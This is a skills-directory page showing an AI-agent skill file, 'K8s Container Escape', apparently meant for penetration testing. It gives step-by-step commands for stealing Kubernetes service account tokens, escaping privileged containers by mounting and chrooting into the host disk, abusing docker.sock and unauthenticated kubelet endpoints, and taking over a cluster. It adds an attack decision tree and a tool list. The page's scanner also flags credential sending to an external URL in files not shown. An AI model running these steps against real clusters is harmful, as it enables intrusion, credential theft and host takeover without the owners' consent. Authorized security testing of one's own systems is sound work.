Back to skills
SKILL.md
K8s Container Escape
BSecurityK8s escape: pod spec abuse, hostPath, service account tokens
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
84/100- Uses curl or wget to download content
- Sends environment variables or credentials to an external URL
Pro scans all 4 files and shows the line behind each finding
npx -y skills add blackfoxxx/kestrel --skill k8s-container-escape --agent claude-codeAre you the author of K8s Container Escape?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-k8s-container-escape)---
name: k8s-container-escape
description: "K8s escape: pod spec abuse, hostPath, service account tokens"
metadata:
tags: "k8s,kubernetes,container,escape,pod,rbac,etcd,apiserver,serviceaccount,container-escape,cloud-native,cluster-attack"
category: "cloud"
mcps: autopen, pentest mcp, context1337
---
# Kubernetes Container Escape and Cluster Attacks
A compromised K8s cluster has an enormous attack surface — from a single Pod you can pivot laterally across the entire cluster, all nodes and services.
## Deep Reference (Required Reading)
- Detailed container escape techniques (mount escape/kernel CVE/privileged container/cgroup) → [references/escape-techniques.md](references/escape-techniques.md)
- Cluster-level attacks (API Server/etcd/RBAC/lateral movement) → [references/cluster-attacks.md](references/cluster-attacks.md)
- RBAC self-audit, in-Pod API requests, badPods/KubeHound/gitRepo volume → [references/rbac-and-api-abuse.md](references/rbac-and-api-abuse.md)
---
## Phase 1: Environment Identification
### 1.1 Confirm You Are in a Container
```bash
cat /proc/1/cgroup 2>/dev/null | grep -qi 'docker\|kubepods\|containerd'
ls /.dockerenv 2>/dev/null || ls /run/secrets/kubernetes.io 2>/dev/null
hostname # K8s Pod names typically include the deployment name
env | grep -i kube
```
### 1.2 K8s Environment Reconnaissance
```bash
# ServiceAccount Token (nearly every Pod has one)
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)
# API Server address
echo $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Test API permissions
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NAMESPACE/pods
```
### 1.3 External Port Enumeration
| Port | Service | Attack Surface |
|------|---------|----------------|
| 6443 | API Server | Unauthorized access / Token abuse |
| 10250 | Kubelet | Command execution |
| 10255 | Kubelet (read-only) | Information disclosure |
| 2379 | etcd | Full data dump (including Secrets) |
| 8080 | API Server (insecure, legacy ≤1.23) | Full control (removed in 1.24+) |
## Phase 2: Attack Decision Tree
```
Current position?
├─ Inside a container
│ ├─ Privileged container (privileged=true) → mount host filesystem → escape
│ ├─ hostPath/docker.sock mounted → escape
│ ├─ Has SA Token → SelfSubjectRulesReview / can-i → RBAC-driven attack
│ ├─ Can create pods / pods/exec / impersonate → create Pod, exec into high-priv Pod, or impersonate high-priv account
│ └─ Normal container → kernel CVE / cgroup escape
├─ Can reach Kubelet (10250)
│ └─ Unauthorized → arbitrary Pod command execution
├─ Can reach API Server (6443/8080)
│ ├─ Anonymous access → create privileged Pod
│ └─ Token → enumerate RBAC permissions
└─ Can reach etcd (2379)
└─ Extract all Secrets
Detailed commands → see references
```
## Phase 3: Container Escape Quick Reference
### Privileged Container Escape (Most Common)
```bash
# Check for privileged container
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff = full capabilities = privileged container
# Method 1: Mount host filesystem
mkdir -p /tmp/hostroot
mount /dev/sda1 /tmp/hostroot
chroot /tmp/hostroot bash
```
### Docker Socket Escape
```bash
ls -la /var/run/docker.sock
# If present, can create privileged container mounting the host
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
```
→ Full escape techniques → [references/escape-techniques.md](references/escape-techniques.md)
## Phase 4: Kubelet Unauthorized Access
```bash
# List all Pods
curl -sk https://NODE_IP:10250/pods
# Execute command in any Pod
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
-d "cmd=id"
```
## Phase 5: Cluster Takeover
```bash
# Check permissions with SA Token
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
https://API_SERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'
# If can create Pod → create privileged Pod mounting the node
```
→ Detailed cluster attacks → [references/cluster-attacks.md](references/cluster-attacks.md)
## Tools Quick Reference
| Tool | Purpose |
|------|---------|
| kubectl | K8s cluster management |
| kubeletctl | Kubelet exploitation |
| CDK | Container escape automation |
| PEIRATES | K8s penetration framework |
| etcdctl | etcd data extraction |
Files in this skill
- SKILL.md
- references/cluster-attacks.md
- references/escape-techniques.md
- references/rbac-and-api-abuse.md
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.